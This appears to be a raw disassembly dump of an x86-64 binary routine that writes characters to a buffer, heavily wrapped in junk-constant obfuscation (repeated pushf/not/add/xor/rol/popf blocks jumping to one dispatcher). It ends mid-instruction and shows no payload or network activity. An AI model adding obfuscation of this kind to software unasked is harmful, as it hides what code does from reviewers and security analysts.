xor r13d, 0xa1f6a988
rol r13d, 0x38
popf
pushf
not r13d
add r13d, 0x8a39dacf
xor r13d, 0x8b281c27
rol r13d, 0x70
popf
mov eax, ecx
shr eax, 4
test r12b, al
je 0x140386b6b
push rax
pushf
mov eax, 0x5bc39aa2
pushf
not eax
add eax, 0xf0ad982f
xor eax, 0xef9820c8
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xe63836ef
xor eax, 0xf237e827
rol eax, 0xf1
popf
pushf
not eax
add eax, 0xe7509f54
xor eax, 0x90d5c5e6
rol eax, 0x46
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0x86ea915b
pushf
not eax
add eax, 0xca8231ad
xor eax, 0xae621a8a
rol eax, 0x30
popf
pushf
not eax
add eax, 0x8d47ef3b
xor eax, 0xd26c011f
rol eax, 0x3f
popf
jmp 0x1403852a5
mov eax, ecx
shr eax, 6
test r12b, al
je 0x140386bdb
push rax
pushf
mov eax, 0x76ae3235
pushf
not eax
add eax, 0xfb4d7c13
xor eax, 0x85dfc852
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xe687f01f
xor eax, 0xde6bc00a
rol eax, 0x93
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0xa68bb521
pushf
not eax
add eax, 0xb928f781
xor eax, 0x9cada490
rol eax, 0xa6
popf
pushf
not eax
add eax, 0x9c50c1b6
xor eax, 0xd46a567e
rol eax, 0x16
popf
pushf
not eax
add eax, 0x884f3cbf
xor eax, 0x9d1e1dc8
rol eax, 0x7e
popf
jmp 0x1403852a5
lea eax, [r13 + 0xd]
push rax
pushf
mov eax, 0xb2162f30
pushf
not eax
add eax, 0xea0aee7d
xor eax, 0xd8212a80
rol eax, 0x6d
popf
pushf
not eax
add eax, 0xcc47dc09
xor eax, 0xde482c4e
rol eax, 0x14
popf
pushf
not eax
add eax, 0xc90b0721
xor eax, 0xa4fe8a23
rol eax, 0x9e
popf
jmp 0x1403852a5
mov word [rsp + 0x34], ax
jmp 0x140386ec9
test r12b, cl
je 0x140386d2c
push rax
pushf
mov eax, 0x8f1f8587
pushf
not eax
add eax, 0xee447bf6
xor eax, 0x8c2cb5a9
rol eax, 0xc6
popf
pushf
not eax
add eax, 0xe9b72f73
xor eax, 0xd7326a39
rol eax, 0xb
popf
pushf
not eax
add eax, 0x9b6f02d2
xor eax, 0xf74e7741
rol eax, 0x8b
popf
pushf
not eax
add eax, 0xcabd37d2
xor eax, 0xbd1cd753
rol eax, 0x65
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0x92bab635
pushf
not eax
add eax, 0x8619f12e
xor eax, 0xdec7942c
rol eax, 0xfe
popf
pushf
not eax
add eax, 0xa9ff3bc5
xor eax, 0x9bd9100f
rol eax, 0x8b
popf
jmp 0x1403852a5
mov eax, 0x89364336
pushf
not eax
add eax, 0xe47fc670
xor eax, 0xae4e5bf0
rol eax, 0xf0
popf
pushf
not eax
add eax, 0x94e8225c
xor eax, 0xbb4392ff
rol eax, 0x96
popf
pushf
not eax
add eax, 0xafffa599
xor eax, 0x9fddb436
rol eax, 0xaf
popf
pushf
not eax
add eax, 0xd2495d84
xor eax, 0x9ff9b013
rol eax, 0xa
popf
jmp 0x140386c6b
mov eax, ecx
shr eax, 1
test r12b, al
je 0x140386e4a
push rax
pushf
mov eax, 0xdc1c00f1
pushf
not eax
add eax, 0xf51adb03
xor eax, 0xb88e6fd6
rol eax, 0xb8
popf
pushf
not eax
add eax, 0xf55733cd
xor eax, 0xcc65f045
rol eax, 0x50
popf
pushf
not eax
add eax, 0xe31768d0
xor eax, 0xdcc406d7
rol eax, 0xb9
popf
pushf
not eax
add eax, 0xe5cbb08c
xor eax, 0xd6e5af8a
rol eax, 0x25
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0xcfedf366
pushf
not eax
add eax, 0xfd5574ff
xor eax, 0xe31876dd
rol eax, 0xdc
popf
pushf
not eax
add eax, 0xbcca2960
xor eax, 0xe188d89a
rol eax, 0x37
popf
pushf
not eax
add eax, 0xb4a24e3e
xor eax, 0xfbc30e45
rol eax, 0xf9
popf
jmp 0x1403852a5
mov word [rsp + 0x34], r13w
push rax
pushf
mov eax, 0xe41e060f
pushf
not eax
add eax, 0xfeecd811
xor eax, 0xba5aa26f
rol eax, 0xd4
popf
pushf
not eax
add eax, 0xa00a681c
xor eax, 0x99205ef8
rol eax, 0x60
popf
jmp 0x1403852a5
mov rdx, r12
push rax
pushf
mov eax, 0xf4b1a1fe
pushf
not eax
add eax, 0xeb4a8cd6
xor eax, 0xe1a29cda
rol eax, 0x8e
popf
pushf
not eax
add eax, 0xcb950bfe
xor eax, 0x9385a17c
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xc367ae58
xor eax, 0xd4029fc3
rol eax, 0xfa
popf
jmp 0x1403852a5
movzx r8d, word [rbx + 0x3a]
mov r10d, 0x30d3a9b0
pushf
not r10d
add r10d, 0xf43f63ce
xor r10d, 0xd4b1a4be
rol r10d, 0xfd
popf
pushf
not r10d
add r10d, 0xd6fe91ec
xor r10d, 0xd8a09649
rol r10d, 0x64
popf
pushf
not r10d
add r10d, 0xbd804a3a
xor r10d, 0xf35d3faf
rol r10d, 0x1b
popf
movzx eax, r8w
sub ax, si
test r10w, ax
jne 0x140386fbb
push rax
pushf
mov eax, 0x66fb576b
pushf
not eax
add eax, 0x8ceed174
xor eax, 0xce137257
rol eax, 0xa7
popf
pushf
not eax
add eax, 0x81c7949b
xor eax, 0x8ac03373
rol eax, 0x18
popf
pushf
not eax
add eax, 0xd0f33cf9
xor eax, 0xfaddf9a1
rol eax, 0x93
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0xffecdece
pushf
not eax
add eax, 0x848441cb
xor eax, 0xf614df0f
rol eax, 0x62
popf
pushf
not eax
add eax, 0xb082901e
xor eax, 0xc9739850
rol eax, 8
popf
jmp 0x1403852a5
mov eax, ecx
mov r9b, r12b
shr eax, 5
test r12b, al
jne 0x140387041
push rax
pushf
mov eax, 0x58ed0c73
pushf
not eax
add eax, 0xd61ab600
xor eax, 0xb9e1f303
rol eax, 0xd5
popf
pushf
not eax
add eax, 0xaa1cc5ba
xor eax, 0xfb4d39d6
rol eax, 0x2d
popf
pushf
not eax
add eax, 0xd10569cf
xor eax, 0xae465ea1
rol eax, 0xda
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0x7de114a7
pushf
not eax
add eax, 0xd5ae0c3f
xor eax, 0xc9ec7855
rol eax, 0xf7
popf
pushf
not eax
add eax, 0xe4595ef7
xor eax, 0xf1c41130
rol eax, 0xe2
popf
pushf
not eax
add eax, 0x9190c370
xor eax, 0xa65744f0
rol eax, 0x67
popf
jmp 0x1403852a5
mov r9b, bpl
push rax
pushf
mov eax, 0x33542e1
pushf
not eax
add eax, 0xf261db63
xor eax, 0x922d25ae
rol eax, 0xef
popf
pushf
not eax
add eax, 0xbd8378cb
xor eax, 0xdf6bba4a
rol eax, 0x8d
popf
jmp 0x1403852a5
lea eax, [r8 - 0x41]
mov r15d, 0xa42fddda
pushf
not r15d
add r15d, 0x85739696
xor r15d, 0x9fdcba4f
rol r15d, 0xf7
popf
pushf
not r15d
add r15d, 0xd367899e
xor r15d, 0xb5140854
rol r15d, 0x55
popf
pushf
not r15d
add r15d, 0xb3bbf1d8
xor r15d, 0x9217504d
rol r15d, 0x78
popf
pushf
not r15d
add r15d, 0xf0f0bb34
xor r15d, 0xd5f831f9
rol r15d, 0x2b
popf
test r10w, ax
sete al
test r9b, r9b
jne 0x14038717d
push rax
pushf
mov eax, 0x9571ea85
pushf
not eax
add eax, 0xb18b2983
xor eax, 0xf307821b
rol eax, 0x78
popf
pushf
not eax
add eax, 0xd5b5f399
xor eax, 0xb24964d2
rol eax, 0x72
popf
pushf
not eax
add eax, 0xf74678a8
xor eax, 0xbf0d0668
rol eax, 0x25
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0xba6a911d
pushf
not eax
add eax, 0xd5127b1e
xor eax, 0xaac0cecd
rol eax, 1
popf
pushf
not eax
add eax, 0xf491fbea
xor eax, 0x93cf324e
rol eax, 0xb2
popf
jmp 0x1403852a5
test al, al
je 0x1403871e6
push rax
pushf
mov eax, 0xea6d185d
pushf
not eax
add eax, 0x9dd4d555
xor eax, 0x9534811e
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xf7df7fd6
xor eax, 0xd0351818
rol eax, 0x2c
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0xd41fa673
pushf
not eax
add eax, 0xd6e87f28
xor eax, 0x8a2eaca1
rol eax, 0xbb
popf
pushf
not eax
add eax, 0x95124914
xor eax, 0x9351f14c
rol eax, 0x46
popf
pushf
not eax
add eax, 0x8d88e7d8
xor eax, 0xa77fd7f9
rol eax, 0x8d
popf
jmp 0x1403852a5
mov word [rsp + rdx*2 + 0x34], r15w
cmp r8w, si
je 0x140387291
push rax
pushf
mov eax, 0x9fda0420
pushf
not eax
add eax, 0xf0f3d2de
xor eax, 0xd14cfecb
rol eax, 0xf4
popf
pushf
not eax
add eax, 0xf6236799
xor eax, 0xed66bccd
rol eax, 0x22
popf
pushf
not eax
add eax, 0xc93318bc
xor eax, 0xc044fa0e
rol eax, 0xa3
popf
pushf
not eax
add eax, 0xa0ded8d2
xor eax, 0xe0e3b425
rol eax, 0xc4
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0x9e9e294f
pushf
not eax
add eax, 0x8ae6b2a7
xor eax, 0xe6e2f8d7
rol eax, 0x50
popf
pushf
not eax
add eax, 0xf27255dd
xor eax, 0xf59aeafa
rol eax, 0x69
popf
pushf
not eax
add eax, 0xfa830802
xor eax, 0xcd686b94
rol eax, 0x61
popf
pushf
not eax
add eax, 0x96af1cb0
xor eax, 0xce00e39c
rol eax, 0x40
popf
jmp 0x1403852a5
cmp r8w, 0x41
jne 0x140387324
push rax
pushf
mov eax, 0xccc5d215
pushf
not eax
add eax, 0xac7afa12
xor eax, 0xf69476fe
rol eax, 0x59
popf
pushf
not eax
add eax, 0xfbb0f424
xor eax, 0xf75e6181
rol eax, 0xd6
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0x6521bdd8
pushf
not eax
add eax, 0xafaafd91
xor eax, 0xa7d191b4
rol eax, 0xc1
popf
pushf
not eax
add eax, 0xccac3105
xor eax, 0x825a0e11
rol eax, 0xec
popf
pushf
not eax
add eax, 0xe1f06721
xor eax, 0xbcf6b942
rol eax, 0x92
popf
pushf
not eax
add eax, 0x9ec3836a
xor eax, 0x842b6091
rol eax, 0xd1
popf
jmp 0x1403852a5
movzx edi, si
push rax
pushf
mov eax, 0xf6f94291
pushf
not eax
add eax, 0x812cfd97
xor eax, 0xe5268c34
rol eax, 0x62
popf
pushf
not eax
add eax, 0xd104d5cf
xor eax, 0x9756ee11
rol eax, 0x3a
popf
pushf
not eax
add eax, 0xbb067921
xor eax, 0xbb39e699
rol eax, 0xb
popf
pushf
not eax
add eax, 0xadf940d1
xor eax, 0x926651b4
rol eax, 0xa3
popf
jmp 0x1403852a5
mov word [rsp + rdx*2 + 0x36], di
add rdx, 2
push rax
pushf
mov eax, 0x639f2849
pushf
not eax
add eax, 0xa363a5cc
xor eax, 0xe9c868ad
rol eax, 0xfd
popf
pushf
not eax
add eax, 0x8721cb4c
xor eax, 0x8c6090a6
rol eax, 0x56
popf
jmp 0x1403852a5
mov esi, dword [rbx + 0x2c]
sub esi, edx
sub esi, dword [rbx + 0x48]
test cl, 0xc
jne 0x140387455
push rax
pushf
mov eax, 0xbfb9df3e
pushf
not eax
add eax, 0x8c46b7e1
xor eax, 0xadb0b69b
rol eax, 0x72
popf
pushf
not eax
add eax, 0x8d74262f
xor eax, 0xd536a13d
rol eax, 0x4d
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0x467e2c96
pushf
not eax
add eax, 0x81c3cf0a
xor eax, 0xabbab5ae
rol eax, 0xe8
popf
pushf
not eax
add eax, 0xb7fabc91
xor eax, 0xb8e29e00
rol eax, 0x18
popf
jmp 0x1403852a5
mov r9d, ebp
test esi, esi
jle 0x1403874c2
push rax
pushf
mov eax, 0x59f6386d
pushf
not eax
add eax, 0xb7fea1cc
xor eax, 0xc7453733
rol eax, 0xb0
popf
pushf
not eax
add eax, 0xca0511cf
xor eax, 0x8b977881
rol eax, 0xe6
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0xc597425e
pushf
not eax
add eax, 0x844496e2
xor eax, 0x81530055
rol eax, 0x70
popf
pushf
not eax
add eax, 0xe81d6047
xor eax, 0xadf695f9
rol eax, 0x3f
popf
pushf
not eax
add eax, 0x87bb3d92
xor eax, 0xa86262a9
rol eax, 0xc2
popf
jmp 0x1403852a5
mov ecx, dword [rbx + 0x20]
push rax
pushf
mov eax, 0x2ae8e51c
pushf
not eax
add eax, 0xb13624a9
xor eax, 0xfdef21d1
rol eax, 0x1a
popf
pushf
not eax
add eax, 0xbb2f27d7
xor eax, 0xd5409f5e
rol eax, 0x64
popf
jmp 0x1403852a5
mov r8, qword [rbx + 0x460]
mov rax, qword [r8 + 8]
cmp qword [r8 + 0x10], rax
jne 0x140387582
push rax
pushf
mov eax, 0xa270676a
pushf
not eax
add eax, 0x9e397ea2
xor eax, 0xf7fd7512
rol eax, 0x91
popf
pushf
not eax
add eax, 0xa6ecdc1a
xor eax, 0xe298c3b1
rol eax, 0x90
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0xfcd65d69
pushf
not eax
add eax, 0x9a269d30
xor eax, 0x9c72d9b4
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xc7eb61df
xor eax, 0x821e7da0
rol eax, 0x1f
popf
jmp 0x1403852a5
cmp byte [r8 + 0x18], bpl
je 0x14038761c
jmp 0x1403875bc
inc ecx
jmp 0x140387652
or ecx, 0xffffffff
push rax
pushf
mov eax, 0xa8ce1726
pushf
not eax
add eax, 0xca7bf28a
xor eax, 0x8712d946
rol eax, 0x74
popf
pushf
not eax
add eax, 0xcd639742
xor eax, 0xab0935d1
rol eax, 0xb9
popf
jmp 0x1403852a5
mov dword [rbx + 0x20], ecx
jmp 0x14038771f
lea eax, [rcx + 1]
mov dword [rbx + 0x20], eax
add qword [r8 + 0x10], r12
mov rax, qword [rbx + 0x460]
mov rcx, qword [rax]
mov word [rcx], r13w
mov rax, qword [rbx + 0x460]
add qword [rax], 2
mov ecx, dword [rbx + 0x20]
push rax
pushf
mov eax, 0xd3de54a7
pushf
not eax
add eax, 0xabe17515
xor eax, 0xba46f8a5
rol eax, 0xbf
popf
pushf
not eax
add eax, 0x965eac12
xor eax, 0xf395d0f1
rol eax, 0x6c
popf
pushf
not eax
add eax, 0x8328a3b7
xor eax, 0x83b2da4c
rol eax, 9
popf
jmp 0x1403852a5
cmp ecx, 0xffffffff
je 0x14038777d
push rax
pushf
mov eax, 0x1d6697f1
pushf
not eax
add eax, 0xd6d801bb
xor eax, 0xf94b4ec1
rol eax, 0xc0
popf
pushf
not eax
add eax, 0xa63eee5f
xor eax, 0xfe6e4d95
rol eax, 0x4f
popf
pushf
not eax
add eax, 0xada8a02a
xor eax, 0x942e802f
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xcb130574
xor eax, 0xeb2fc2f5
rol eax, 0xe1
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0xf7d1ffb
pushf
not eax
add eax, 0x819c00f7
xor eax, 0xf85f57e2
rol eax, 0xe7
popf
pushf
not eax
add eax, 0xbc2cabd8
xor eax, 0x9b501b12
rol eax, 0x96
popf
jmp 0x1403852a5
push r12
not r12d
sub r9d, r12d
pop r12
sub r9d, 1
cmp r9d, esi
jl 0x14038781c
push rax
pushf
mov eax, 0x3f974e4c
pushf
not eax
add eax, 0xee68775b
xor eax, 0xcf749ad5
rol eax, 0xc5
popf
pushf
not eax
add eax, 0x9aae962f
xor eax, 0xd6644ea7
rol eax, 0x67
popf
pushf
not eax
add eax, 0xbc93c2ae
xor eax, 0xa946f06a
rol eax, 0x83
popf
pushf
not eax
add eax, 0xea686604
xor eax, 0xb0ec6031
rol eax, 0xfb
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0x75bc92aa
pushf
not eax
add eax, 0xcf38419d
xor eax, 0xaf81961c
rol eax, 0x93
popf
pushf
not eax
add eax, 0x8f3c080c
xor eax, 0xc0e4503a
rol eax, 0x2b
popf
jmp 0x1403852a5
mov rax, qword [rbx + 8]
lea rdi, [rbx + 0x20]
mov r8d, edx
mov qword [rsp + 0x20], rax
lea r14, [rbx + 0x460]
mov r9, rdi
mov rcx, r14
lea rdx, [rsp + 0x34]
call fcn.1401495ea
mov ecx, dword [rbx + 0x28]
mov eax, ecx
shr eax, 3
test r12b, al
je 0x1403878c9
push rax
pushf
mov eax, 0x3de8e767
pushf
not eax
add eax, 0xbc868f30
xor eax, 0xefdece72
rol eax, 0x88
popf
pushf
not eax
add eax, 0xf8bc80ba
xor eax, 0xf59a2aaf
rol eax, 0x67
popf
pushf
not eax
add eax, 0xad3738dc
xor eax, 0xccc0f53b
rol eax, 0xa7
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0xe0e91169
pushf
not eax
add eax, 0xc6948e8e
xor eax, 0xf4587755
rol eax, 0x36
popf
pushf
not eax
add eax, 0xd9473db6
xor eax, 0xe768fc35
rol eax, 0x83
popf
pushf
not eax
add eax, 0xcdb3d8f8
xor eax, 0xa842e38b
rol eax, 5
popf
pushf
not eax
add eax, 0xa45cacd3
xor eax, 0x8ffa838c
rol eax, 4
popf
jmp 0x1403852a5
shr ecx, 2
test r12b, cl
jne 0x14038795d
push rax
pushf
mov eax, 0xa0ceb6f0
pushf
not eax
add eax, 0xfb5ffda1
xor eax, 0xa37c5aba
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xcfca939b
xor eax, 0x9d5a67b3
rol eax, 0x47
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0xc411ab5a
pushf
not eax
add eax, 0xa70a0949
xor eax, 0xf179576d
rol eax, 0xad
popf
pushf
not eax
add eax, 0x8453d3ef
xor eax, 0x9df97eaa
rol eax, 0x67
popf
pushf
not eax
add eax, 0x995b71ce
xor eax, 0xa38c1660
rol eax, 0x95
popf
pushf
not eax
add eax, 0xf84cced5
xor eax, 0x9274d2f1
rol eax, 0x62
popf
jmp 0x1403852a5
mov r8d, ebp
test esi, esi
jle 0x1403879f0
push rax
pushf
mov eax, 0x265c0449
pushf
not eax
add eax, 0x861b5e92
xor eax, 0x99524d5f
rol eax, 0x12
popf
pushf
not eax
add eax, 0xe67901ee
xor eax, 0x8a18f639
rol eax, 0xb6
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0xff23ef6
pushf
not eax
add eax, 0xb0840de4
xor eax, 0xb1df9265
rol eax, 0x67
popf
pushf
not eax
add eax, 0x92c4f395
xor eax, 0xb264e84d
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xb0a6c328
xor eax, 0xb87b86b7
rol eax, 0x1d
popf
jmp 0x1403852a5
mov ecx, dword [rdi]
push rax
pushf
mov eax, 0xf377df3
pushf
not eax
add eax, 0xde620e12
xor eax, 0x8f9c16dd
rol eax, 0x22
popf
pushf
not eax
add eax, 0xa06f20d2
xor eax, 0xd89505c4
rol eax, 0x88
popf
jmp 0x1403852a5
mov rdx, qword [r14]
mov rax, qword [rdx + 8]
cmp qword [rdx + 0x10], rax
jne 0x140387abe
push rax
pushf
mov eax, 0x6ae659e0
pushf
not eax
add eax, 0xcf3399b0
xor eax, 0xba79b55d
rol eax, 0x72
popf
pushf
not eax
add eax, 0xcd4557df
xor eax, 0x8893ae61
rol eax, 0x61
popf
pushf
not eax
add eax, 0xdf1d6460
xor eax, 0x8a48a285
rol eax, 0x19
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0x7d1f40e9
pushf
not eax
add eax, 0xfd3291ba
xor eax, 0xc2f5613e
rol eax, 0x17
popf
pushf
not eax
add eax, 0x93800a0e
xor eax, 0xd86a3119
rol eax, 0x44
popf
pushf
not eax
add eax, 0xcdab54d0
xor eax, 0xc060d60b
rol eax, 0x88
popf
jmp 0x1403852a5
cmp byte [rdx + 0x18], bpl
je 0x140387b50
push rax
pushf
mov eax, 0x64edfe3a
pushf
not eax
add eax, 0x86340d1a
xor eax, 0xadf16ce4
rol eax, 0xc
popf
pushf
not eax
add eax, 0xf60f281f
xor eax, 0xc0248319
rol eax, 0xa2
popf
pushf
not eax
add eax, 0x92213573
xor eax, 0x92e18038
rol eax, 0xbc
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0x68301b7
pushf
not eax
add eax, 0xa4f0cffd
xor eax, 0xb5a3a2e4
rol eax, 0x62
popf
pushf
not eax
add eax, 0xcaebe919
xor eax, 0xb73c846e
rol eax, 0x45
popf
pushf
not eax
add eax, 0x87c21d18
xor eax, 0xb2a146ce
rol eax, 0xa5
popf
pushf
not eax
add eax, 0xc266ee91
xor eax, 0xd9078988
rol eax, 0xbc
popf
jmp 0x1403852a5
inc ecx
jmp 0x140387c40
or ecx, 0xffffffff
push rax
pushf
mov eax, 0x52f6cede
pushf
not eax
add eax, 0xe5611d6d
xor eax, 0xe15e1bc6
rol eax, 0x2e
popf
pushf
not eax
add eax, 0x96f71dc5
xor eax, 0x9b88d967
rol eax, 0x81
popf
pushf
not eax
add eax, 0xe2d6d1df
xor eax, 0xe77b1ebe
rol eax, 0x48
popf
jmp 0x1403852a5
mov dword [rdi], ecx
jmp 0x140387cef
lea eax, [rcx + 1]
mov dword [rdi], eax
add qword [rdx + 0x10], r12
mov rax, qword [r14]
mov rcx, qword [rax]
mov word [rcx], r15w
mov rax, qword [r14]
add qword [rax], 2
mov ecx, dword [rdi]
push rax
pushf
mov eax, 0xe4ee175d
pushf
not eax
add eax, 0xba011eb5
xor eax, 0xc67e6cb9
rol eax, 0xe6
popf
pushf
not eax
add eax, 0xb4ea0746
xor eax, 0xe447694d
rol eax, 0xea
popf
pushf
not eax
add eax, 0xcea45876
xor eax, 0xee644a7f
rol eax, 0x30
popf
pushf
not eax
add eax, 0x92059376
xor eax, 0xe5044fe5
rol eax, 0x42
popf
jmp 0x1403852a5
cmp ecx, 0xffffffff
je 0x140387d27
push rax
pushf
mov eax, 0xce794efa
pushf
not eax
add eax, 0xbd8887bd
xor eax, 0x80fce74d
rol eax, 0xc4
popf
pushf
not eax
add eax, 0xc9ed80c6
xor eax, 0xca8987cf
rol eax, 0x51
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0xc0e2e1ea
pushf
not eax
add eax, 0x9bfc2615
xor eax, 0xdba151d3
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xff5e4067
xor eax, 0xadfeb05f
rol eax, 0x64
popf
jmp 0x1403852a5
push r12
not r12d
sub r8d, r12d
pop r12
sub r8d, 1
cmp r8d, esi
jl 0x140387da0
push rax
pushf
mov eax, 0xfed36923
pushf
not eax
add eax, 0xd87318a2
xor eax, 0xa8cf0472
rol eax, 0x8c
popf
pushf
not eax
add eax, 0xb04cdf5e
xor eax, 0xa5061848
rol eax, 0xef
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0xe2d80a7d
pushf
not eax
add eax, 0xb64e8ced
xor eax, 0xb334af2c
rol eax, 0xaa
popf
pushf
not eax
add eax, 0x95c20e07
xor eax, 0x8afcd363
rol eax, 0x77
popf
pushf
not eax
add eax, 0xfcc59ed5
xor eax, 0xdb4a8106
rol eax, 0x95
popf
pushf
not eax
add eax, 0x91ff123d
xor eax, 0xf444e258
rol eax, 0x79
popf
jmp 0x1403852a5
cmp byte [rbx + 0x4c], bpl
jne 0x140387e49
push rax
pushf
mov eax, 0x81d0b6d3
pushf
not eax
add eax, 0xbdac25f6
xor eax, 0x93ddaf6d
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xf196a745
xor eax, 0xd61d8315
rol eax, 0x32
popf
pushf
not eax
add eax, 0xa9d99b40
xor eax, 0xfb159dfc
rol eax, 0x5c
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0x7b8cd74f
pushf
not eax
add eax, 0x93d5ce05
xor eax, 0x8912c025
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xde712dc9
xor eax, 0xddb9a076
rol eax, 0x53
popf
pushf
not eax
add eax, 0xb3b756d4
xor eax, 0xde421b12
rol eax, 0x31
popf
pushf
not eax
add eax, 0x99f65307
xor eax, 0x93e7eaea
rol eax, 0x28
popf
jmp 0x1403852a5
mov eax, dword [rbx + 0x48]
test eax, eax
jle 0x140387ef3
push rax
pushf
mov eax, 0xa102473b
pushf
not eax
add eax, 0xc1bbbefd
xor eax, 0xcdc13ede
rol eax, 0x73
popf
pushf
not eax
add eax, 0xa79932b5
xor eax, 0xccabd683
rol eax, 0xaf
popf
pushf
not eax
add eax, 0xb8ed2509
xor eax, 0xb0fb5bef
rol eax, 0x30
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0x483516bc
pushf
not eax
add eax, 0x8f690239
xor eax, 0xf6b23a75
rol eax, 0x9e
popf
pushf
not eax
add eax, 0xe1a33e00
xor eax, 0x8966a944
rol eax, 0x22
popf
pushf
not eax
add eax, 0xfb6eed6d
xor eax, 0xe829bd69
rol eax, 0xbc
popf
pushf
not eax
add eax, 0xc4a07ddd
xor eax, 0xc771308e
rol eax, 0xa9
popf
jmp 0x1403852a5
mov r13, qword [rbx + 8]
cmp byte [r13 + 0x28], bpl
jne 0x140387f89
push rax
pushf
mov eax, 0x9cb7712c
pushf
not eax
add eax, 0xfbb6c5f3
xor eax, 0xce4890a7
rol eax, 0xde
popf
pushf
not eax
add eax, 0xffcc4733
xor eax, 0xcb9e561a
rol eax, 0x68
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0x99ee9783
pushf
not eax
add eax, 0x8bf0f17c
xor eax, 0xbf966787
rol eax, 0x79
popf
pushf
not eax
add eax, 0xa2c54a1b
xor eax, 0xb31a1686
rol eax, 0x16
popf
pushf
not eax
add eax, 0xf3bb5a58
xor eax, 0xb5b14633
rol eax, 0xbd
popf
pushf
not eax
add eax, 0xdcee0dc0
xor eax, 0xa9ed5c30
rol eax, 0x59
popf
jmp 0x1403852a5
mov rcx, r13
call fcn.14029c78a
mov eax, dword [rbx + 0x48]
push rax
pushf
mov eax, 0x19f7a4b0
pushf
not eax
add eax, 0xdc0ec9c1
xor eax, 0xd738b02d
rol eax, 0xd
popf
pushf
not eax
add eax, 0xc491799b
xor eax, 0xd1e9d3e5
rol eax, 0x9c
popf
jmp 0x1403852a5
mov r15, qword [rbx + 0x40]
xor r9d, r9d
test eax, eax
je 0x140388084
push rax
pushf
mov eax, 0xe4b40f19
pushf
not eax
add eax, 0xaaa3d3ac
xor eax, 0xee23e09f
rol eax, 0xe4
popf
pushf
not eax
add eax, 0x81c64887
xor eax, 0xa00bfaf8
rol eax, 0x20
popf
pushf
not eax
add eax, 0xc3f1fec9
xor eax, 0x9b07214c
rol eax, 0x2b
popf
pushf
not eax
add eax, 0xc5001bb7
xor eax, 0x9bfe95ae
rol eax, 0x61
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0x3b1a0b34
pushf
not eax
add eax, 0xdef98914
xor eax, 0xb0108c8a
rol eax, 0x16
popf
pushf
not eax
add eax, 0xebd99a82
xor eax, 0xbd5015eb
rol eax, 0xbb
popf
pushf
not eax
add eax, 0x907b5a4e
xor eax, 0x987f6293
rol eax, 0x29
popf
pushf
not eax
add eax, 0x8b4fad36
xor eax, 0x9ca36a27
rol eax, 0x28
popf
jmp 0x1403852a5
mov rax, qword [r13 + 0x18]
lea rcx, [rsp + 0x30]
mov word [rsp + 0x30], r9w
mov rdx, r15
mov r9, qword [rbx + 8]
movsxd r8, dword [rax + 8]
call fcn.140358a7e
xor r9d, r9d
movsxd r8, eax
test eax, eax
jle 0x14038815f
push rax
pushf
mov eax, 0x912eef21
pushf
not eax
add eax, 0xf803bee5
xor eax, 0xe85cf460
rol eax, 0x21
popf
pushf
not eax
add eax, 0x8ac70676
xor eax, 0xd4bbdbba
rol eax, 0x49
popf
pushf
not eax
add eax, 0xfc53f94e
xor eax, 0xd6f5b7c4
rol eax, 0x98
popf
pushf
not eax
add eax, 0xa18e9e6e
xor eax, 0x831b3ef5
rol eax, 0x6e
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0xff099a82
pushf
not eax
add eax, 0x85b2109f
xor eax, 0x8c7c5c2d
rol eax, 0x7e
popf
pushf
not eax
add eax, 0xf5dab960
xor eax, 0xfc1db72d
rol eax, 0xbc
popf
pushf
not eax
add eax, 0xcdf5424f
xor eax, 0xe960c0af
rol eax, 0x50
popf
jmp 0x1403852a5
mov rcx, qword [r14]
movzx edx, word [rsp + 0x30]
mov rax, qword [rcx + 8]
cmp qword [rcx + 0x10], rax
jne 0x1403881ea
push rax
pushf
mov eax, 0xca58d828
pushf
not eax
add eax, 0xd2410dd8
xor eax, 0xa0b57b5d
rol eax, 0xe0
popf
pushf
not eax
add eax, 0x9ee83869
xor eax, 0xf7dee976
rol eax, 0x50
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0x7bedb4de
pushf
not eax
add eax, 0xd5214433
xor eax, 0x89c145f5
rol eax, 0x32
popf
pushf
not eax
add eax, 0x9792f8f5
xor eax, 0x88c52a31
rol eax, 0xed
popf
pushf
not eax
add eax, 0xded1ea7c
xor eax, 0xdfadc8f6
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xf2efa207
xor eax, 0xbd9fbcb9
rol eax, 0x36
popf
jmp 0x1403852a5
cmp byte [rcx + 0x18], r9b
je 0x1403882a2
push rax
pushf
mov eax, 0x270cd132
pushf
not eax
add eax, 0xc4522b93
xor eax, 0xa861ddde
rol eax, 0x36
popf
pushf
not eax
